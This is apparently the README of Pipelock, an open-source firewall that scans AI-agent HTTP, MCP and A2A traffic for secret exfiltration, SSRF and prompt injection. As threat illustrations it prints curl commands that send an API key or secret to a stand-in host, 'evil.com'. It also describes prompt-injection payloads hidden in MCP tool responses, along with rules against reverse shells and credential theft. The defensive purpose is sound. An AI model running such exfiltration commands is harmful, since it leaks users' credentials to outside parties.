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Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.

833 stars GoOthers Updated Sep 4, 2026
ai-agentsai-securitydlpgolangllm-securitysecurityssrf-protectionegress-proxyintegrity-monitoringmcpgithub-actionsecurity-scanningagent-securityai-agent-securityai-firewallmcp-securityprompt-injectionsecurity-toolsssrfllm-firewall

Documentation

Open-source AI agent firewall for .

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level.

Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

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Try it in your browser at the . If Pipelock earns it, so other people find it.


The Problem

Your AI agent has `$PROVIDER_API_KEY` in its environment, plus shell access. One request can leak it:

bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.


Verify It Yourself

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

bash
pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is .json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license. It reads a flight-recorder

session, which is what Pipelock writes while it runs, rather than the demo

receipts above:

bash
pipelock init --output ./pipelock.yaml        # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml         # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html   # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder                    # same report, served read-only

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. `pipelock anchor receipts` records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

The full argument for why proof beats promises is in demonstration over attestation.


Quick Start

bash
# Build the current release from source (Community edition, Go 1.25+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed

Other install methods

bash
# Download a binary
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0

# Homebrew on macOS
brew install luckyPipewrench/tap/pipelock

Verify release integrity

bash
gh attestation verify pipelock_3.5.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.5.0 --owner luckyPipewrench

Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images. Source builds made with `make build` or `make install` produce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.


See It In Action

The Pro/Enterprise operator dashboard (`pipelock dashboard serve`) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

Dashboard gallery

Free reports and monitoring

`pipelock report --input events.jsonl` generates HTML, JSON, or signed bundle reports with risk rating, timeline, event categories, and an evidence appendix. The free Prometheus and Grafana path monitors one Pipelock instance and is distinct from the Enterprise Conductor fleet control plane.


What It Catches

Pipelock runs in three modes:

ModeSecurityWeb BrowsingUse Case
strictAllowlist-onlyNoneRegulated industries, high-security
balancedBlocks naive + detects sophisticatedVia fetch or forward proxyMost developers (default)
auditLogging onlyUnrestrictedEvaluation before enforcement

For agents running uncensored or abliterated models, the `hostile-model` preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. `pipelock audit` recommends this preset when it detects known guardrail-removal toolchains through dependency signals.

Attack VectorStrictBalancedAudit
`curl evil.com -d $SECRET`PreventedPreventedLogged
Secret in URL query paramsPreventedDetected by DLPLogged
Base64-encoded secret in URLPreventedDetected by entropy and decoded DLPLogged
DNS tunnelingPreventedDetected by subdomain entropyLogged
Chunked exfiltrationPreventedDetected by rate, budget, and fragment checksLogged
Public-key encrypted blob in URLPreventedLogged when entropy flags itLogged

> Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (`pipelock sandbox`) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.

Comparison

PipelockScanners (agent-scan)Sandboxes (srt)Kernel agents (agentsh)
Secret exfiltration preventionStrict blocks; balanced detectsPartial (proxy mode)Partial (domain-level)Yes
DLP + entropy analysisYesNoNoPartial
Prompt injection detectionYesYesNoNo
MCP scanning (bidirectional + tool poisoning)YesYesNoNo
WebSocket proxy (frame scanning)YesNoNoNo
MCP HTTP transport (Streamable HTTP)YesNoNoNo
Emergency kill switch (6 sources)YesNoNoNo
Tool call chain detectionYesNoNoNo
Process sandbox (no Docker)YesNoNoYes (kernel-level)
Single binary, no runtime depsYesNo (Python)No (npm)No (kernel)

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

OWASP Agentic Top 10 Coverage

ThreatCoverage
ASI01 Agent Goal HijackStrong: bidirectional MCP + response scanning
ASI02 Tool MisusePartial: proxy as controlled tool, MCP scanning
ASI03 Identity & Privilege AbuseStrong: capability separation + SSRF protection
ASI04 Supply Chain VulnerabilitiesPartial: integrity monitoring + MCP scanning
ASI05 Unexpected Code ExecutionModerate: HITL approval, fail-closed defaults
ASI06 Memory & Context PoisoningModerate: injection detection + session taint propagation
ASI07 Insecure Inter-Agent CommunicationPartial: MCP/A2A scanning, agent ID, integrity, signing
ASI08 Cascading FailuresModerate: fail-closed architecture, rate limiting
ASI09 Human-Agent Trust ExploitationPartial: HITL modes, audit logging
ASI10 Rogue AgentsStrong: domain allowlist + rate limiting + capability separation

Details, config examples, and gap analysis: docs/owasp-mapping.md


What It Does

Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.

Detection And Scanning

  • Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path and subdomain entropy analysis, DNS SSRF and rebinding protection, per-domain rate limits, data budgets, and final context checks. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.
  • DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.
  • Response scanning: 33 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are `block`, `strip`, `warn`, or `ask`.
  • Streaming SSE: `text/event-stream` responses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide.
  • Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.
  • Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as `` across HTTP, WebSocket, and MCP `tools/call` arguments. Receipts record the active profile and per-class counts instead of plaintext secrets.
  • Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.
  • Explainable findings: `pipelock explain ` (also `explain event ` and `explain mcp`) prints the scanner, layer, matching rule, inspected surface, and the narrowest available config knob for a false positive. See `docs/cli/explain.md`.
  • Canary tokens: `pipelock canary` generates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens.
  • Skill-file scanning: `pipelock skill-scan` inventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. See `docs/cli/skill-scan.md`.

MCP Security

Pipelock wraps MCP servers with bidirectional scanning:

bash
# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
  • Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.
  • Response scanning: server responses are scanned before the agent sees them.
  • Tool poisoning: `tools/list` descriptions are checked for hidden instructions and mid-session rug-pull changes.
  • Tool policy: 17 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.
  • Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.
  • A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.
  • Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require `--mcp-auth-token-file`, or an explicit `--mcp-allow-unauthenticated` for network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.

Containment

Unprivileged process containment uses OS-native primitives. Linux uses Landlock and network namespaces; `linux/amd64` also applies seccomp. Other Linux builds label the launch partial while the network namespace is active, and `--strict` refuses them. macOS uses `sandbox-exec` profiles. In containers, `--best-effort` keeps Landlock and, on `linux/amd64`, seccomp when namespace creation is restricted. Its expiry bounds admission only: it never stops a child already running, and each later launch must be re-authorized. A launch without the namespace is labelled advisory-override regardless of architecture, because the missing namespace is the more serious gap: network scanning then uses proxy-based routing and may be bypassed by direct egress.

bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
  --best-effort-reason "container user namespaces disabled" \
  --best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Host containment goes further on Linux:

bash
pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` manages a 3-UID operator / proxy / agent model with nftables owner-match routing, systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See `docs/contain-cli.md`.

Evidence And Receipts

  • Flight recorder: per-writer hash-chained JSONL evidence with Ed25519-signed checkpoints and DLP redaction. `pipelock init` provisions a recorder directory and signing key for stock installs. Recording needs a directory, and because checkpoint signing is on by default it also needs a signing key; set `sign_checkpoints: false` for an explicitly unsigned hash-chained recorder. Use `pipelock evidence doctor DIR` to detect structural damage in an evidence directory. See Flight Recorder.
  • Action receipts: signed records emitted for mediated actions, carrying verdict, policy hash, transport, and scanner layer. Blocks produce receipts; allow-path receipt enforcement requires `flight_recorder.require_receipts`. Verify with `pipelock verify-receipt --key `. Unpinned runs are structural-only and exit non-zero unless `--allow-unpinned` is passed.
  • Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP `_meta`, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide.
  • Receipt conformance: four independent cross-language verifier implementations

(Go, TypeScript, Rust, and Python) run against one shared

conformance corpus, including malformed and forgeable

inputs such as duplicate keys, integer overflow, and unpaired surrogates. A

browser wasm surface reuses the Go verifier implementation. AARP/SVID

appraisal remains an offline verifier profile, not runtime identity

enforcement.

  • Anchors: `pipelock anchor receipts` records receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven.
  • Posture capsule: `pipelock posture emit` and `pipelock posture verify` produce and check a signed snapshot of a deployment's enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.

Fleet And Enterprise

  • Operator dashboard: `pipelock dashboard serve` is a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. See `docs/cli/dashboard.md`.
  • Free evidence viewer: `pipelock evidence serve` and `pipelock evidence view` render one selected recorder session without a license or cross-agent enumeration. `pipelock evidence verify-cert` verifies Pro-issued coverage certificates offline.
  • Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (`pipelock fleet-sink`), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally; the default stale-policy mode engages an independent deny source after its grace window, while the documented `continue_last_known_good` override weakens that posture. Conductor holds no agent secrets. See the Conductor guide.
  • Legal hold: `pipelock dashboard legal-hold add/list/release` manages preservation holds as compliance metadata kept outside the dashboard's HTTP authority, so a compromised dashboard can read holds but never forge or delete them.
  • Behavioral baseline: profile-then-lock for MCP tool behavior with `pipelock baseline list/show/ratify/forget` for operator approval and relearning. See `docs/cli/baseline.md`.

Operability

  • Kill switch: six independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, and stale-bundle detection. Any one active source blocks traffic, with endpoint and IP exemptions in the controller.
  • Scan API: programmatic scanning for `url`, `dlp`, `prompt_injection`, and `tool_call` verdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md.
  • Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.
  • Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.
  • Security assessment: `pipelock assess init`, `pipelock assess run`, and `pipelock assess finalize` orchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. Every finalized assessment is Ed25519-signed by default, licensed or not, so the finalized run directory can be checked with `pipelock assess verify`, which hashes the manifest-listed artifacts and verifies the detached manifest signature. Pass `--unsigned` to `assess finalize` to skip signing. The free summary shows your grade, section scores, top findings, and compliance coverage counts; a license unlocks the full report with server-specific findings, remediation commands, and the detached attestation and badge.

More features

FeatureWhat It Does
Audit Reports`pipelock report --input events.jsonl` generates HTML/JSON/bundle reports with risk rating, timeline, and evidence appendix. Ed25519 signing with `--sign`. (Sample report)
Diagnose`pipelock diagnose` runs 7 local checks to verify your config end to end with no network.
Enforcement Doctor (v2.5)`pipelock doctor` reports configured-vs-enforceable status for proxying, TLS interception, request-body scanning, Browser Shield, MCP wrapping, MCP binary integrity, tool provenance, file_sentry, Sentry, and deployment-boundary signals.
Request Body Injection Blocking (v2.5)Request-body prompt-injection and critical-DLP findings hard-block non-provider destinations in enforce mode across forward, reverse, TLS-intercept, and WebSocket transports, with block-reason headers for operator-visible diagnosis.
Request Policy (v2.6)Allow-by-default deny/warn rails on outbound API operations: match route plus GraphQL operation predicates, recurse into JSON `$batch` envelopes, fail closed on unparseable or opaque bodies, and run before the contract gate. See the request policy guide.
TLS InterceptionOptional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. `pipelock tls init` generates a CA, then `pipelock tls install-ca` prints platform trust-store install steps.
Block HintsOpt-in `explain_blocks: true` adds fix suggestions to blocked responses.
Project Audit`pipelock audit ./project` scans for security risks and generates a tailored config.
Config Scoring (v2.6)`pipelock audit score --config pipelock.yaml` evaluates security posture across 23 categories with a 170-point budget and letter grade.
File IntegritySHA256 manifests detect modified, added, or removed workspace files.
Git Protection`git diff \pipelock git scan-diff` catches secrets before commit.
Ed25519 SigningKey management, file signing, and signature verification for multi-agent trust.
Session ProfilingPer-session behavioral analysis for domain bursts and volume spikes.
Adaptive EnforcementPer-session threat score with escalation from warn to block, de-escalation timers, and domain burst detection.
Adaptive Operator CLI (v2.5)`pipelock adaptive status / flush / whoami` exposes runtime adaptive state through the authenticated admin API. See `docs/cli/adaptive.md`.
Finding SuppressionSilence known false positives through config rules or inline `pipelock:ignore` comments.
Multi-Agent SupportAgent identification through `X-Pipelock-Agent` header for per-agent filtering.
Fleet MonitoringPer-instance Prometheus metrics plus ready-to-import Grafana dashboard. Free single-instance monitoring, distinct from Conductor.
Operator Dashboard (v3.1, Pro/Enterprise)`pipelock dashboard serve` gives read-only Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys, Fleet, Workbench, and Incident views with token, OIDC, or mTLS auth, bounded RBAC, raw-view elevation, backup/restore, exemption lifecycle records, and coverage certificates. See `docs/cli/dashboard.md`.
Free Evidence Viewer (v3.1)`pipelock evidence serve` serves one selected recorder session as a read-only HTML report without a license and without cross-agent enumeration. `pipelock evidence verify-cert` verifies Pro-issued coverage certificates offline.
Conductor: fleet control plane (v2.7, Enterprise)Signed policy-bundle distribution, signed-evidence audit sink (`pipelock fleet-sink`), enrollment, remote kill, policy rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Gated by the `fleet` license feature; stale-policy behavior is explicit and defaults to strict deny. See the Conductor guide.
A2A ScanningAgent Card poisoning detection, card drift monitoring, and session smuggling prevention for Google's Agent-to-Agent protocol on forward/MCP paths.
Behavioral BaselineProfile-then-lock for MCP tool behavior with `pipelock baseline list/show/ratify/forget` for operator approval and relearning. See `docs/cli/baseline.md`.
Denial-of-WalletPer-agent MCP budgets for total tool calls, same-tool retries, loop/cycle detection, and wall-clock duration.
Taint EscalationExposure-based policy escalation across MCP and task boundaries until trust is restored.
Mediation EnvelopeRFC 8941 sideband metadata on forwarded HTTP requests and MCP `_meta`, with inbound verification, replay protection, SPIFFE actor format, and an RFC 9421 signing-key directory. See federation guide.
Receipt ConformanceCross-implementation receipt verification suite (`sdk/conformance/`) across independent Go, TypeScript, Rust, and Python implementations, plus a browser wasm surface backed by Go. `EvidenceReceipt v2` uses RFC 8785/JCS canonicalization. AARP/SVID appraisal remains offline verifier-side.
Learn-and-Lock (v2.4)Per-agent behavioral contracts: observe traffic, compile a signed candidate contract, replay captured observations in shadow, ratify per rule, promote the signed active manifest, and enforce live on URL-bearing transports plus MCP tool calls. See learn-and-lock guide.
Block-Reason Header (v2.4)`X-Pipelock-Block-Reason` on HTTP-capable block paths, with the same reason vocabulary on MCP JSON-RPC error metadata. See block-reason header.
Wedge-Detection Watchdog (v2.4)`health_watchdog` returns `/health` 503 when a subsystem heartbeat goes stale. See health endpoint guide.
Redaction Provider Plugin Shape (v2.4)First-party redaction parsers for Anthropic, OpenAI, and Gemini chat APIs, with a provider-plugin shape for third-party parsers.
Audit Packet v0 Schema + Verifiers (v2.5)First-party canonical Audit Packet schema with Go, TypeScript, and Rust verifier implementations, plus standalone `pipelock-verifier` CLI. Schema lives under `sdk/audit-packet/`; verifier packages live under `sdk/verifiers/`.
Host Containment Lifecycle (v2.5)`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` manages the 3-UID containment model. See `docs/contain-cli.md`.
MCP Integrity Manifests (v2.5)`pipelock mcp integrity manifest generate / verify / sign / verify-signature` pins MCP server binaries/scripts by hash and can require a trusted manifest signature before subprocess launch. See `docs/cli/mcp-integrity.md`.
Kubernetes MCP Launcher Contract (v2.5)`pipelock init sidecar --mcp-upstream` emits companion listener configuration, service port, workload annotations, NetworkPolicy allowance, `PIPELOCK_MCP_PROXY_URL`, and mounted `PIPELOCK_MCP_CONFIG`. See `docs/cli/init-sidecar.md`.
Federation Strict Mode (v2.5)Inbound mediation-envelope verification requires SPIFFE-format actors by default, contract tombstones are enforced, and `pipelock envelope trust add/list/remove/verify` manages local trust. See federation guide.
Media PolicyStrips steganographic metadata from JPEG/PNG, rejects audio/video by default, hardens SVG active content, and enforces image size limits. See Media Policy.
Compliance MappingsOWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act, and procurement/audit mappings.

Free, Pro, and Enterprise

All detection, enforcement, containment, receipt verification, and the free single-agent evidence viewer are free forever under Apache 2.0. Pro adds named-agent operations, including per-agent coverage certificates; Enterprise adds fleet governance and compliance.

CapabilityFreeProEnterprise
Scanning and detection (ordered URL pipeline, DLP, injection, SSRF, streaming SSE, redaction, address protection)YesYesYes
MCP and A2A scanning (input, response, tool policy, tool chain, poisoning, integrity, authenticated listeners)YesYesYes
Containment, sandbox, host `contain`, 6-source kill switchYesYesYes
Action receipts, flight recorder, anchors, free evidence viewer, `verify-cert`, standalone verifierYesYesYes
Canary tokens, skill-scan, `explain`, single-instance Prometheus and GrafanaYesYesYes
Per-agent profiles: identity, budgets, config and scanner isolation, per-agent sandboxNoYesYes
Per-agent routing by source CIDR and network selectorNoYesYes
Operator dashboard: Overview, Evidence, Exemptions, Agents, Budgets, Trust & KeysNoYesYes
Per-agent coverage certificatesNoYesYes
Legal hold and compliance metadataNoYesYes
Conductor fleet control plane, `fleet-sink` audit sink, remote kill, rollback, decision replay, drift preflightNoNoYes
mTLS follower enrollment and roster-verified signed policy distributionNoNoYes
Dashboard fleet views: Fleet, Workbench, IncidentNoNoYes

The full `pipelock assess` report is a separate `assess` entitlement, independent of Pro and Enterprise. Signing is not part of that entitlement: the free summary is signed too, and the free assess grade is unchanged.


How It Works

Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:

  • Fetch proxy (`/fetch?url=...`): Fetches the URL, extracts text, scans for injection, returns clean content.
  • Forward proxy (`HTTPS_PROXY`): Standard HTTP CONNECT tunneling without application code changes. Proxy configuration is still required. Optional TLS interception enables payload scanning.
  • WebSocket proxy (`/ws?url=ws://...`): Bidirectional frame scanning with DLP + injection detection.
  • MCP proxy (`pipelock mcp proxy`): Wraps stdio or HTTP MCP servers with bidirectional scanning.
  • A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.
Pipelock capability separation: agent traffic is scanned by the firewall before reaching internet services

Text diagram (for terminals)

code
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE                                          │
│                                                          │
│ AI Agent                                                 │
│ - API keys, credentials, private code and context        │
│ - Network-isolated by deployment                         │
└────────────────────────────┬─────────────────────────────┘
                             │ mediated request
                             │ fetch / CONNECT / WS / MCP / A2A
                             ▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE                                            │
│                                                          │
│ Pipelock Agent Firewall                                  │
│ - Destination: URL, SSRF, and DNS checks                 │
│ - Data: DLP, secret detection, and budgets               │
│ - Content: prompt injection and tool poisoning           │
│ - Policy: allow, block, or redact                        │
│ - No agent secrets                                       │
└────────────────────────────┬─────────────────────────────┘
                             │ approved request
                             ▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET                                                 │
│                                                          │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘

Internet -- response --> Pipelock -- scanned content --> AI Agent

Configuration

Generate a config from a built-in preset, or let `pipelock audit` tailor one to your project:

bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
CLI PresetModeActionBest For
`balanced`balancedwarnGeneral purpose (default)
`strict`strictblockHigh-security, regulated industries
`audit`auditwarnLog-only evaluation
`claude-code`balancedblockClaude Code unattended
`cursor`balancedblockCursor IDE
`generic-agent`balancedwarnNew agents during tuning
`hostile-model`strictblockUncensored/abliterated models

Config changes are picked up through file watcher or SIGHUP. Full reference: **docs/configuration.md**

For false positive tuning: **docs/false-positive-tuning.md**


Integration Guides

  • **Claude Code:** MCP proxy setup, `.claude.json` configuration
  • **OpenAI Codex:** MCP proxy wrapping, forward proxy, sandbox integration
  • **Cline:** MCP proxy wrapping for Cline's `mcp.json`
  • **OpenCode:** MCP proxy wrapping for OpenCode's local and remote MCP servers
  • **Zed:** MCP proxy wrapping for Zed's `context_servers` block in `settings.json`
  • **OpenAI Agents SDK:** `MCPServerStdio`, multi-agent handoffs
  • **Google ADK:** `McpToolset`, `StdioConnectionParams`
  • **AutoGen:** `StdioServerParams`, `mcp_server_tools()`
  • **CrewAI:** `MCPServerStdio` wrapping, `MCPServerAdapter`
  • **LangGraph:** `MultiServerMCPClient`, `StateGraph`
  • **Hermes:** full-plugin coverage or lighter MCP-only wrapping for Nous Research's agent, with auth-header sidecar preservation
  • **JetBrains/Junie:** MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
  • Cursor: `pipelock cursor install` registers Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use `--config` to embed a validated policy path and `pipelock cursor remove` to remove Pipelock-managed hooks. You can also use `configs/cursor.yaml` with the same MCP proxy pattern as Claude Code (walkthrough)
  • VS Code: `pipelock vscode install` rewrites `.vscode/mcp.json` to route every MCP server through the MCP proxy; `--global` targets the user-level `mcp.json`
  • **OpenClaw:** gateway sidecar, init container, config wrapping
  • Any other MCP client: `pipelock generate mcporter` reads any JSON file with a top-level `mcpServers` object and wraps every server through Pipelock's proxy, so a client that is not on the list above still routes through scanning in one command.

Deployment

bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:3.5.0 \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes with Helm (published chart, Helm 3.8+)
helm install pipelock oci://ghcr.io/luckypipewrench/charts/pipelock --version 3.5.0

Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: **docs/guides/deployment-recipes.md**


CI Integration

yaml
# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@ca05ed06f360f5aac5518ab6ea2b11d729b70bee # v3.5.0
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

The action downloads a pre-built binary, runs `pipelock audit`, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See `examples/ci-workflow.yaml` for a complete workflow.

Runnable Demo: Tool-Response Injection

The `examples/tool-response-injection/` harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:

  • MCP stdio
  • MCP HTTP upstream
  • HTTP fetch
bash
cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

Community Rules

Pipelock's built-in DLP, injection, and tool-poison detection is strong out of the box. Community rule bundles let you go further: add your own patterns for the exfiltration shapes, secret formats, and injection tricks your stack sees, sign them, and ship them on a cadence you control instead of waiting for a release.

Install the official bundle in one line:

bash
pipelock rules install pipelock-community

Rule bundles are signed and version-locked. The full lifecycle is a shipped command, not a config edit:

bash
pipelock rules list                    # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify                  # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community

Write your own. A rule is a small YAML entry with a name, a category (DLP, injection, or tool-poison), and a pattern. Sign it with your key, drop it in a bundle, and every Pipelock instance you run picks it up. Share it with the community and it protects everyone else too.

Contribute a rule to the public pipelock-rules bundle, or read docs/rules.md to build and sign your own.


Docs

Full docs directory: docs/

DocumentWhat's In It
Configuration ReferenceAll config fields, defaults, hot-reload behavior, presets
Request PolicyAllow-by-default deny/warn rails on outbound API operations (GraphQL / discriminator / batch), fail-closed (v2.6)
Request RedactionJSON request rewriting across HTTP, WebSocket, and MCP transports
False Positive TuningIdentifying, suppressing, and tuning scanner findings
Scan APIEvaluation endpoint for programmatic scanning
Deployment RecipesDocker Compose, K8s sidecar, iptables, macOS PF
Kubernetes Image UpgradesDigest-pinned releases, live image-ID checks, and rollback
